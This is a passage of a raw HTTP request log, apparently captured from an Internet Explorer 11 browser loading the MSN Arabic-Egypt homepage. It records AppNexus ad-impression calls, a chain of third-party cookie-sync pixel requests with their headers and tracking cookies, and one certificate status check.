lhQRFB6b0pSbEpCTVRvek56RXdRS1VCUx3cAFURDAxBQUFXHQzwbLICIDBEQUNDMUJBN0Y4RTYxREIyQzkzQ0RDRDdFMzk2MEMy2AIB4ALQwUfqAiNodHRwOi8vd3d3Lm1zbi5jb20vYXItZWcvP29jaWQ9aWVocPICEwoPQ1VTVE9NX01PREVMX0lEEgDyAhoKFkMuFgBATEVBRl9OQU1FEgDyAh4KGkMyHQDwokFTVF9NT0RJRklFRBIAgAMAiAMBkAP75B6YAxegAwGqAwDAA6wCyAMA2APQ7qEB4AMA6AMA-AMBgAQAkgQGL3V0L3YzmAQAogQNMTk2LjEzLjEwOC4xMqgE64gDsgQQCAUQBBisAiD6ASgCMAA4ArgEAMAEAMgEANIEDjk2MDMjRlJBMTozNzEw2gQCCAHgBAHwBPXnhDiIBQGYBQCgBf____8FAxgBwAUAyQUABQEU8D_SBQkJBQvwPAAAANgFAeAFAeoFDQoJZmxpZ2h0SWRzEgDqBRYKC3Byb3ZpZGVyX2lkEgc3SEQ2NkZD6gUKCgZvcHRvdXQBJkQVCglwYWdlX3R5cGU
GET /rd_log?referrer=http%3A%2F%2Fwww.msn.com%2Far-eg%2F%3Focid%3Diehp&e=wqT_3QLNCaDNBAAAAwDWAAUBCLPE694FEOKmqPe_o62SZhinlcOK_d_RvC8qNgkVFQEC8Fi1PxHsUbgeheuxPxkAAABACtcFQCHx12SNeojBPykbDeAtkKDEPzEAAADAHoXjPzD_-NUCOJgCQINLSAJQ9eeEOFjkiDFgAGj8rlB4xNgEgAEBigEDVVNEkgUG8GOYAawCoAHYBKgBAbABALgBAcABBcgBAtABANgBAOABAPABAPoBCU1TTkVHQVIxMYoCkwF1ZignYScsIDI4NzM1NzEsIDE1NDEwNzE0MTEpO3VmKCdyJywgMTE3NTE5MzQ5LCAxOh8ALGMnLCAyNDgzNjMwNkYeAChnJywgNjYxMjA0MkYdACBpJywgOTE4Njg6OQDwe5ICnQIhcmo2ODh3alM4ZXNMRVBYbmhEZ1lBQ0RraURFd0FEZ0FRQUJJZzB0UV9falZBbGdBWUVkb0FIQTZlQmlBQVRxSUFSaVFBUUdZQVFHZ0FRR29BUUd3QVFDNUFWdEVYcGlob01RX3dRRmJSRjZZb2FERVA4a0JBQUEFAxQ4RF9aQVEFC3hBQVBBXzRBR2VpVGoxQWNuRlBUNllBZ0NnQWdDMUFnASQEQzkJCOhEQUFqcklBaGpRQWpyWUFoamdBZ0RvQWdENEFnQ0FBd0dRQXdDWUF3R2lBeGNJejZLSEF4QUNHQUV0QQFH0ERJSFpHVm1ZWFZzZEtnRDB2SHJDN29EQ1VaU1FURTZNemN4TU9BRHBRRS6aAmEhSmctVHlRNiABMDVJZ3hJQUFvQURFek0FAlhQRFB6b0pSbEpCTVRvek56RXdRS1VCUx3cAFURDAxBQUFXHQzwbLICIDBEQUNDMUJBN0Y4RTYxREIyQzkzQ0RDRDdFMzk2MEMy2AIB4ALQwUfqAiNodHRwOi8vd3d3Lm1zbi5jb20vYXItZWcvP29jaWQ9aWVocPICEwoPQ1VTVE9NX01PREVMX0lEEgDyAhoKFkMuFgBATEVBRl9OQU1FEgDyAh4KGkMyHQDwokFTVF9NT0RJRklFRBIAgAMAiAMBkAP75B6YAxegAwGqAwDAA6wCyAMA2APQ7qEB4AMA6AMA-AMBgAQAkgQGL3V0L3YzmAQAogQNMTk2LjEzLjEwOC4xMqgE64gDsgQQCAUQBBisAiD6ASgCMAA4ArgEAMAEAMgEANIEDjk2MDMjRlJBMTozNzEw2gQCCAHgBAHwBPXnhDiIBQGYBQCgBf____8FAxgBwAUAyQUABQEU8D_SBQkJBQvwPAAAANgFAeAFAeoFDQoJZmxpZ2h0SWRzEgDqBRYKC3Byb3ZpZGVyX2lkEgc3SEQ2NkZD6gUKCgZvcHRvdXQBJkQVCglwYWdlX3R5cGU
http://37.252.172.70/it?referrer=http%3A%2F%2Fwww.msn.com%2Far-eg%2F%3Focid%3Diehp&e=wqT_3QKfB_BMnwMAAAMA1gAFAQizxOveBRDU27Gh1IG35n4Yp5XDiv3f0bwvKjYJ-bHAwb9TzD8RYZKpBortyD8ZAAAAANej9D8hg8DKoUW20z8pZmYBAtDWPzEAAACgmZnhPzCB-dUCOJgCQPJCSAJQ7L3rLFjkiDFgAGiVsFB4l44FgAEBigEDVVNEkgUG8F6YAcoHoAH6AagBAbABALgBAcABBcgBAtABANgBAOABAPABAPoBCU1TTkVHQVIxNYoCV3VmKCdhJywgMjEzODI0MCwgMTU0MTA3MTQxMSk7dWYoJ3InLCA5NDAzNTY5MkYeACRpJywgNjM5NDgxNhwA8HuSAvkBIVdUUW15UWk1MXBrS0VPeTk2eXdZQUNEa2lERXdBRGdBUUFCSThrSlFnZm5WQWxnQVlFZG9BSEFRZUJpQUFSYUlBUmlRQVFHWUFRR2dBUUdvQVFPd0FRQzVBUWIyaXg1blp0WV93UUVHOW9zZVoyYldQOGtCQUFBBQMUOERfWkFRBQswQUFQQV80QUg1Z3lmMQkULENZQWdDZ0FnQzFBZwEkBEM5CQjwUERBQWdESUFnRFFBaGJZQWhqZ0FnRG9BZ0Q0QWdDQUF3R1FBd0NZQXdHb0E3bldtUXE2QXdsR1VrRXhPak0yT0RMZ0E2VUKaAmEhT2hHWklRaTL8ADQ1SWd4SUFBb0FER2FtWgECWG5KUHpvSlJsSkJNVG96TmpneVFLVUJTHbgAVREMDEFBQVcdDPDUsgIgMERBQ0MxQkE3RjhFNjFEQjJDOTNDRENEN0UzOTYwQzLYAgHgApjBHuoCI2h0dHA6Ly93d3cubXNuLmNvbS9hci1lZy8_b2NpZD1pZWhwgAMAiAMBkAO84RqYAxegAwGqAwDAA6wCyAMA2APQ7qEB4AMA6AMA-AMBgAQAkgQGL3V0L3YzmAQAogQNMTk2LjEzLjEwOC4xMqgE64gDsgQPCAAQARjYBSBaKAAwADgCuAQAwAQAyAQA0gQOODU2MiNGUkExOjM2ODLaBAIIAeAEAfAEQeAgiAUBmAUAoAX_EQEUAcAFAMkFYSwcAADwP9IFCQkJDJwAANgFAeAFAfAFAfoFBAgAEACQBgCYBgC4BgDBBgAAAAAAAPA_yAYA&s=01fdce5723b63d4bb90c5d70358aa54993386e44
GET /it?referrer=http%3A%2F%2Fwww.msn.com%2Far-eg%2F%3Focid%3Diehp&e=wqT_3QKfB_BMnwMAAAMA1gAFAQizxOveBRDU27Gh1IG35n4Yp5XDiv3f0bwvKjYJ-bHAwb9TzD8RYZKpBortyD8ZAAAAANej9D8hg8DKoUW20z8pZmYBAtDWPzEAAACgmZnhPzCB-dUCOJgCQPJCSAJQ7L3rLFjkiDFgAGiVsFB4l44FgAEBigEDVVNEkgUG8F6YAcoHoAH6AagBAbABALgBAcABBcgBAtABANgBAOABAPABAPoBCU1TTkVHQVIxNYoCV3VmKCdhJywgMjEzODI0MCwgMTU0MTA3MTQxMSk7dWYoJ3InLCA5NDAzNTY5MkYeACRpJywgNjM5NDgxNhwA8HuSAvkBIVdUUW15UWk1MXBrS0VPeTk2eXdZQUNEa2lERXdBRGdBUUFCSThrSlFnZm5WQWxnQVlFZG9BSEFRZUJpQUFSYUlBUmlRQVFHWUFRR2dBUUdvQVFPd0FRQzVBUWIyaXg1blp0WV93UUVHOW9zZVoyYldQOGtCQUFBBQMUOERfWkFRBQswQUFQQV80QUg1Z3lmMQkULENZQWdDZ0FnQzFBZwEkBEM5CQjwUERBQWdESUFnRFFBaGJZQWhqZ0FnRG9BZ0Q0QWdDQUF3R1FBd0NZQXdHb0E3bldtUXE2QXdsR1VrRXhPak0yT0RMZ0E2VUKaAmEhT2hHWklRaTL8ADQ1SWd4SUFBb0FER2FtWgECWG5KUHpvSlJsSkJNVG96TmpneVFLVUJTHbgAVREMDEFBQVcdDPDUsgIgMERBQ0MxQkE3RjhFNjFEQjJDOTNDRENEN0UzOTYwQzLYAgHgApjBHuoCI2h0dHA6Ly93d3cubXNuLmNvbS9hci1lZy8_b2NpZD1pZWhwgAMAiAMBkAO84RqYAxegAwGqAwDAA6wCyAMA2APQ7qEB4AMA6AMA-AMBgAQAkgQGL3V0L3YzmAQAogQNMTk2LjEzLjEwOC4xMqgE64gDsgQPCAAQARjYBSBaKAAwADgCuAQAwAQAyAQA0gQOODU2MiNGUkExOjM2ODLaBAIIAeAEAfAEQeAgiAUBmAUAoAX_EQEUAcAFAMkFYSwcAADwP9IFCQkJDJwAANgFAeAFAfAFAfoFBAgAEACQBgCYBgC4BgDBBgAAAAAAAPA_yAYA&s=01fdce5723b63d4bb90c5d70358aa54993386e44 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0
http://ib.adnxs.com/async_usersync?cbfn=queuePixels
GET /async_usersync?cbfn=queuePixels HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: ib.adnxs.com
DNT: 1
Connection: Keep-Alive
Cookie: icu=ChgImswnEAoYASABKAEws8Tr3gU4AUABSAEQs8Tr3gUYAA..; uuid2=3420843456506940071; anj=dTM7k!M4/CT(6e*8tD_>CQ8Eo2iPfa`<><f%hXuPhK)0Pg>KOYY/=])rgZmf+.llq0fT#a0perDQnd9N/w1gU7LtxJD'ieQ1S%2R?)DDr+)`t*Wu(WPNhF_kh`ZS!EmQJIojL1_i=f'cmv.N+[V20F^y6X2`>#%/P6O:#OP7cG$#*0HJ*0w!lLUnd5ez@ZM)g$48=5qUv?@J6EGP?aPcd8@JEOmN65]K^bx)D*0A(AW6cTqs-a[aPKSGCP10^IZq9D=Q6m%!Q*p4.0O'`Wb)'HzXs[WFGS<.VdN.ZXsD=]cJa[5l:CGKzO+G9GIQn2myWDXN/WHtn(rpp>X:y)K9%3q/x/aZ_hW6mf`0f0M+AZe6BYsde+FiyorGnm>uI*sY<CoSl=Q)ixBZ:ZJ+CldvZ%2]Ta=%88D!JzCa=@g[O+8e#nXTM*X6A_unD6Ec==`/M*Aqbf5rM)cd6trFv8vv^993v`YfTY?t5I8ci0rD+69AmK]1hCJ>mPOCGP<CAK418K>.z[2pA]%BLNayW*')4=^Geo]DnH:ZP!p/K)=IsR]gb0g84sQg$0s:Af^@/g3Vd=Wy#pajG2A*)I%T+A`oU'-zhi.ag'm?rZcQ>rtW*N3HLM=>tdkEA:'E/>VBG1^C0SABCL!Vwrw4Zl>=aTCu`8Jj=ogqV-g5MvcKPq.yn)HsPe5vc:R'_z1'my]>t*%x-DF76C:3[YWE8pkb.J^BtH.lrDsLjeeNSMh5Sk%<N45YD9b[HSP[88_As$rO59!Q0AfLamUb=mCwOW<ubdXMOpnFv<UI8HQzTzXa6t.'(U.vK0:$S^WUN`%<#q%-chotjb=EZAZTu-BEA.EKbf/hSsX5/lt#95wY=hL^XMglTc:pGj.xOg^AMkfQ*8u@CV7lTYpcj)u6-kszqT^kp2UBfeUuTW73r8#GZ`:Y/X/<+od*20vhjINB3WsCF('Y?Y4fM0]4`0BKgpT'qi@%iKmh12@8(0jEp[<27zNj9gmEs[-^Q

http://37.252.172.70/rd_log?referrer=http%3A%2F%2Fwww.msn.com%2Far-eg%2F%3Focid%3Diehp&e=wqT_3QLrCPBMawQAAAMA1gAFAQizxOveBRDU27Gh1IG35n4Yp5XDiv3f0bwvKjYJ-bHAwb9TzD8RYZKpBortyD8ZAAAAANej9D8hg8DKoUW20z8pZmYBAtDWPzEAAACgmZnhPzCB-dUCOJgCQPJCSAJQ7L3rLFjkiDFgAGiVsFB4l44FgAEBigEDVVNEkgUG8F6YAcoHoAH6AagBAbABALgBAcABBcgBAtABANgBAOABAPABAPoBCU1TTkVHQVIxNYoCV3VmKCdhJywgMjEzODI0MCwgMTU0MTA3MTQxMSk7dWYoJ3InLCA5NDAzNTY5MkYeACRpJywgNjM5NDgxNhwA8HuSAvkBIVdUUW15UWk1MXBrS0VPeTk2eXdZQUNEa2lERXdBRGdBUUFCSThrSlFnZm5WQWxnQVlFZG9BSEFRZUJpQUFSYUlBUmlRQVFHWUFRR2dBUUdvQVFPd0FRQzVBUWIyaXg1blp0WV93UUVHOW9zZVoyYldQOGtCQUFBBQMUOERfWkFRBQswQUFQQV80QUg1Z3lmMQkULENZQWdDZ0FnQzFBZwEkBEM5CQjwUERBQWdESUFnRFFBaGJZQWhqZ0FnRG9BZ0Q0QWdDQUF3R1FBd0NZQXdHb0E3bldtUXE2QXdsR1VrRXhPak0yT0RMZ0E2VUKaAmEhT2hHWklRaTL8ADQ1SWd4SUFBb0FER2FtWgECWG5KUHpvSlJsSkJNVG96TmpneVFLVUJTHbgAVREMDEFBQVcdDPBssgIgMERBQ0MxQkE3RjhFNjFEQjJDOTNDRENEN0UzOTYwQzLYAgHgApjBHuoCI2h0dHA6Ly93d3cubXNuLmNvbS9hci1lZy8_b2NpZD1pZWhw8gITCg9DVVNUT01fTU9ERUxfSUQSAPICGgoWQy4WAEBMRUFGX05BTUUSAPICHgoaQzIdAPCiQVNUX01PRElGSUVEEgCAAwCIAwGQA7zhGpgDF6ADAaoDAMADrALIAwDYA9DuoQHgAwDoAwD4AwGABACSBAYvdXQvdjOYBACiBA0xOTYuMTMuMTA4LjEyqATriAOyBA8IABABGNgFIFooADAAOAK4BADABADIBADSBA44NTYyI0ZSQTE6MzY4MtoEAggB4AQB8ATsvessiAUBmAUAoAX______wEDFAHABQDJBWGAHAAA8D_SBQkJCQzwnwAA2AUB4AUB6gUnCgNyaWQSIDlmZDRlZGE4NmE5NTRmMWE4ZTQ0OGQzMTQwZjQxZTc16gUVCglwYWdlX3R5cGUSCGhvbWVwYWdl6gUNCglmbGlnaHRJZHMSAOoFFgoLcHJvdmlkZXJfaWQSBzdIRDY2RkPqBQoKBm9wdG91dBIA8AUB-gUECAAQAJAGAJgGALg
GET /rd_log?referrer=http%3A%2F%2Fwww.msn.com%2Far-eg%2F%3Focid%3Diehp&e=wqT_3QLrCPBMawQAAAMA1gAFAQizxOveBRDU27Gh1IG35n4Yp5XDiv3f0bwvKjYJ-bHAwb9TzD8RYZKpBortyD8ZAAAAANej9D8hg8DKoUW20z8pZmYBAtDWPzEAAACgmZnhPzCB-dUCOJgCQPJCSAJQ7L3rLFjkiDFgAGiVsFB4l44FgAEBigEDVVNEkgUG8F6YAcoHoAH6AagBAbABALgBAcABBcgBAtABANgBAOABAPABAPoBCU1TTkVHQVIxNYoCV3VmKCdhJywgMjEzODI0MCwgMTU0MTA3MTQxMSk7dWYoJ3InLCA5NDAzNTY5MkYeACRpJywgNjM5NDgxNhwA8HuSAvkBIVdUUW15UWk1MXBrS0VPeTk2eXdZQUNEa2lERXdBRGdBUUFCSThrSlFnZm5WQWxnQVlFZG9BSEFRZUJpQUFSYUlBUmlRQVFHWUFRR2dBUUdvQVFPd0FRQzVBUWIyaXg1blp0WV93UUVHOW9zZVoyYldQOGtCQUFBBQMUOERfWkFRBQswQUFQQV80QUg1Z3lmMQkULENZQWdDZ0FnQzFBZwEkBEM5CQjwUERBQWdESUFnRFFBaGJZQWhqZ0FnRG9BZ0Q0QWdDQUF3R1FBd0NZQXdHb0E3bldtUXE2QXdsR1VrRXhPak0yT0RMZ0E2VUKaAmEhT2hHWklRaTL8ADQ1SWd4SUFBb0FER2FtWgECWG5KUHpvSlJsSkJNVG96TmpneVFLVUJTHbgAVREMDEFBQVcdDPBssgIgMERBQ0MxQkE3RjhFNjFEQjJDOTNDRENEN0UzOTYwQzLYAgHgApjBHuoCI2h0dHA6Ly93d3cubXNuLmNvbS9hci1lZy8_b2NpZD1pZWhw8gITCg9DVVNUT01fTU9ERUxfSUQSAPICGgoWQy4WAEBMRUFGX05BTUUSAPICHgoaQzIdAPCiQVNUX01PRElGSUVEEgCAAwCIAwGQA7zhGpgDF6ADAaoDAMADrALIAwDYA9DuoQHgAwDoAwD4AwGABACSBAYvdXQvdjOYBACiBA0xOTYuMTMuMTA4LjEyqATriAOyBA8IABABGNgFIFooADAAOAK4BADABADIBADSBA44NTYyI0ZSQTE6MzY4MtoEAggB4AQB8ATsvessiAUBmAUAoAX______wEDFAHABQDJBWGAHAAA8D_SBQkJCQzwnwAA2AUB4AUB6gUnCgNyaWQSIDlmZDRlZGE4NmE5NTRmMWE4ZTQ0OGQzMTQwZjQxZTc16gUVCglwYWdlX3R5cGUSCGhvbWVwYWdl6gUNCglmbGlnaHRJZHMSAOoFFgoLcHJvdmlkZXJfaWQSBzdIRDY2RkPqBQoKBm9wdG91dBIA8AUB-gUECAAQAJAGAJgGALg
http://cm.g.doubleclick.net/pixel?google_nid=appnexus&google_cm&google_sc&uid=3420843456506940071
GET /pixel?google_nid=appnexus&google_cm&google_sc&uid=3420843456506940071 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: cm.g.doubleclick.net
DNT: 1
Connection: Keep-Alive
Cookie: IDE=AHWqTUla6HfEBO3om0vJrQLcjovGyX-kU8POgFoKQvb2qKI2vzIfQLEp0JV4JNWJ

http://sync.mathtag.com/sync/img?mt_exid=13&mt_exuid=3420843456506940071&redir=http%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D8%26code%3D%5Buuid%5D
GET /sync/img?mt_exid=13&mt_exuid=3420843456506940071&redir=http%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D8%26code%3D%5Buuid%5D HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: sync.mathtag.com
DNT: 1
Connection: Keep-Alive
Cookie: uuid=2e345bc7-32a9-4c00-b5bb-655c9fbb6412; uuidc=g3PcuDKTzvnECzpYDTxwzGSe3qFSVMB2gWrCBUb/4pO3soe0UmDHNA+Fh23YYij0F77lHnRwULWg7epIMXbpk1kUoGI1NQzQ/HuKvmeuews=; mt_mop=4:1541065735|15:1541065734|21:1541065805; HRL8=CT-USR

http://185.33.223.202/setuid?entity=101&uid=3420843456506940071&code=CAESEAFk6gvZnGZfyY7fYrYx-4g&google_cver=1
GET /setuid?entity=101&uid=3420843456506940071&code=CAESEAFk6gvZnGZfyY7fYrYx-4g&google_cver=1 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: icu=ChgImswnEAoYASABKAEws8Tr3gU4AUABSAEQs8Tr3gUYAA..; uuid2=3420843456506940071; anj=dTM7k!M4/CT%>Lp?(MBik>H>l`[W8f`]o'z?(pxp4^:)*4*3$n1)<n)VDTh[YTPTw@0KY*.xEgO3c3gvSa%5J?GuPVeIPZd(PnTg%:VcRPmPJ'GZS3hw1!t3wUp82J4TQ2fcS[$^xN$tZV'he4]UeD^:q5BZpJ$U*/y$s(@7Gfx#OsrCn2xjmACW>JV>+YS!O]nu<A^Mu9Ti`v[r!6NEdS$'*:S<cgTY0+<vPYpl.iUe^@Sran)f^f4!=VXZX!eFJaz%Fl!:9XZtA9O(RV_$ar:89f5[`@!bq4Z?oGoVqnFiIQYr(^lHuQ*LTfCe_XPhI)0:6<z@p_sVRMwG*g2'6(r1YXbPDG/UP@?8JH]i+/9(Y:t2/>2v5CB$8(i`I=yjp$bB][f=GZ'85GoSnX1MU(6?ipQCB3svx%2sAFits.<c#+#BE(HF7b#aOV(IH0XT1/29fBz4*BKcNo>r._EBQ2`h*HY1_7u)m]KkTRSH(H^LaEz%4OEES]O7RXN**H>Qdji!/?r@t9k^yeEH_tn(136Rtd.L=j=K6Q.mhY*qm>LG!jt-0(_R*O+P8ndCicqg'g@NB2agPZKY[qNo>)l(7N*p_9kvVOS@nI_.=)zV'QDZIvV8knrVh(w4`5aQD.V2e<05%wEHmmJ<53^j@9E(G]sA'G=cAdpL'OJ>)?$Ap3>yQpY7V#n><ju8$Ev7]m+<]GHDterNa$1PgAN^6Wf<l+tTDaCvuKX]kzhyCOyOFmrInEhWF:95]Jd+noy#g6%T(oH'^LC=Si7h=q-sa[=IR31na=Hi:awx/L-(bJ[J.S==@Qw:E`$7]:mjCf64tPse(-guCaskC[cDB)LW2^Uf@ps9bN5!O4zQD5gkU9@HTn=o`iB>4q!NC50s/RBzwkbg?px6aR+oxfj7y9*XE+#JDtPtr_D)#iz!A*6oITZ3[@zK[n#h`Mf95uAXZdi(gMXtUg@nwiA0pei31VM==PH-Nz/:g7Hq*$]=fnLXH?Cyo
http://sync-tm.everesttech.net/upi/pid/UH6TUt9n?redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D158%26code%3D%24%7BTM_USER_ID%7D
GET /upi/pid/UH6TUt9n?redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D158%26code%3D%24%7BTM_USER_ID%7D HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: sync-tm.everesttech.net
DNT: 1
Connection: Keep-Alive
Cookie: everest_g_v2=g_surferid~W6zZKQAAAGL_GEnI; ev_sync_ax=20181004; gglck=CAESEFdysVZYRSRKz_9eKBcLz_I

http://185.33.223.202/setuid?entity=8&code=2e345bc7-32a9-4c00-b5bb-655c9fbb6412
GET /setuid?entity=8&code=2e345bc7-32a9-4c00-b5bb-655c9fbb6412 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: icu=ChgImswnEAoYASABKAEws8Tr3gU4AUABSAEQs8Tr3gUYAA..; uuid2=3420843456506940071; anj=dTM7k!M4/CT%>Lp?(MBik>H>l`[W8f`]o'z?(pxp4^:)*4*3$n1)<n)VDTh[YTPTw@0KY*.xEgO3c3gvSa%5J?GuPVeIPZd(PnTg%:VcRPmPJ'GZS3hw1!t3wUp82J4TQ2fcS[$^xN$tZV'he4]UeD^:q5BZpJ$U*/y$s(@7Gfx#OsrCn2xjmACW>JV>+YS!O]nu<A^Mu9Ti`v[r!6NEdS$'*:S<cgTY0+<vPYpl.iUe^@Sran)f^f4!=VXZX!eFJaz%Fl!:9XZtA9O(RV_$ar:89f5[`@!bq4Z?oGoVqnFiIQYr(^lHuQ*LTfCe_XPhI)0:6<z@p_sVRMwG*g2'6(r1YXbPDG/UP@?8JH]i+/9(Y:t2/>2v5CB$8(i`I=yjp$bB][f=GZ'85GoSnX1MU(6?ipQCB3svx%2sAFits.<c#+#BE(HF7b#aOV(IH0XT1/29fBz4*BKcNo>r._EBQ2`h*HY1_7u)m]KkTRSH(H^LaEz%4OEES]O7RXN**H>Qdji!/?r@t9k^yeEH_tn(136Rtd.L=j=K6Q.mhY*qm>LG!jt-0(_R*O+P8ndCicqg'g@NB2agPZKY[qNo>)l(7N*p_9kvVOS@nI_.=)zV'QDZIvV8knrVh(w4`5aQD.V2e<05%wEHmmJ<53^j@9E(G]sA'G=cAdpL'OJ>)?$Ap3>yQpY7V#n><ju8$Ev7]m+<]GHDterNa$1PgAN^6Wf<l+tTDaCvuKX]kzhyCOyOFmrInEhWF:95]Jd+noy#g6%T(oH'^LC=Si7h=q-sa[=IR31na=Hi:awx/L-(bJ[J.S==@Qw:E`$7]:mjCf64tPse(-guCaskC[cDB)LW2^Uf@ps9bN5!O4zQD5gkU9@HTn=o`iB>4q!NC50s/RBzwkbg?px6aR+oxfj7y9*XE+#JDtPtr_D)#iz!A*6oITZ3[@zK[n#h`Mf95uAXZdi(gMXtUg@nwiA0pei31VM==PH-Nz/:g7Hq*$]=fnLXH?Cyo3ej0AlhcX7o0]`+$TDzP3A$5b:Y(s8r
http://ocsp.globalsign.com/rootr1/ME8wTTBLMEkwRzAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCDkbwjNvPLFRm7zMB3V80
GET /rootr1/ME8wTTBLMEkwRzAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCDkbwjNvPLFRm7zMB3V80 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.globalsign.com

http://sync.1rx.io/usersync2/appnexus
GET /usersync2/appnexus HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: sync.1rx.io
DNT: 1
Connection: Keep-Alive
Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-8a10618b-c1fc-4548-b0e9-a913b6e0af42%22%2C%22nxtrdr%22%3Afalse%7D

http://t.a3cloud.net/min.html
GET /min.html HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: t.a3cloud.net
If-Modified-Since: Tue, 26 Jun 2018 19:40:14 GMT
If-None-Match: "ccc766d538f4d8d9df7a7b1fbfc7f9a6"
DNT: 1
Connection: Keep-Alive

http://pixel.s3xified.com/sspsync/?ssp=1177
GET /sspsync/?ssp=1177 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: pixel.s3xified.com
DNT: 1
Connection: Keep-Alive

http://ad.turn.com/r/cs?pid=45&rndcb=593956453
GET /r/cs?pid=45&rndcb=593956453 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: uid=3803003599113144710
Connection: Keep-Alive
Host: ad.turn.com

http://match.sync.ad.cpe.dotomi.com/w/user.sync?ptrid=6&userid=3420843456506940071
GET /w/user.sync?ptrid=6&userid=3420843456506940071 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: match.sync.ad.cpe.dotomi.com
DNT: 1
Connection: Keep-Alive

http://sync.1rx.io/usersync/turn/3803003599113144710?dspret=1&redir=http%3A%2F%2Fd.turn.com%2Fr%2Fdu%2Fid%2FL2NzaWQvMS9tcGlkLzg1MjQ2ODY4%2Fmpuid%2F%5BRX_UUID%5D&gdpr=&gdpr_consent=
GET /usersync/turn/3803003599113144710?dspret=1&redir=http%3A%2F%2Fd.turn.com%2Fr%2Fdu%2Fid%2FL2NzaWQvMS9tcGlkLzg1MjQ2ODY4%2Fmpuid%2F%5BRX_UUID%5D&gdpr=&gdpr_consent= HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-8a10618b-c1fc-4548-b0e9-a913b6e0af42%22%2C%22nxtrdr%22%3Afalse%2C%22zdxidn%22%3A%222063%22%7D
Connection: Keep-Alive
Host: sync.1rx.io
DNT: 1

http://sync.jivox.com/tags/sync/usync.php?px=guSgCl60&puid=3420843456506940071
GET /tags/sync/usync.php?px=guSgCl60&puid=3420843456506940071 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: sync.jivox.com
DNT: 1
Connection: Keep-Alive

http://ib.adnxs.com/async_usersync?cbfn=queuePixels
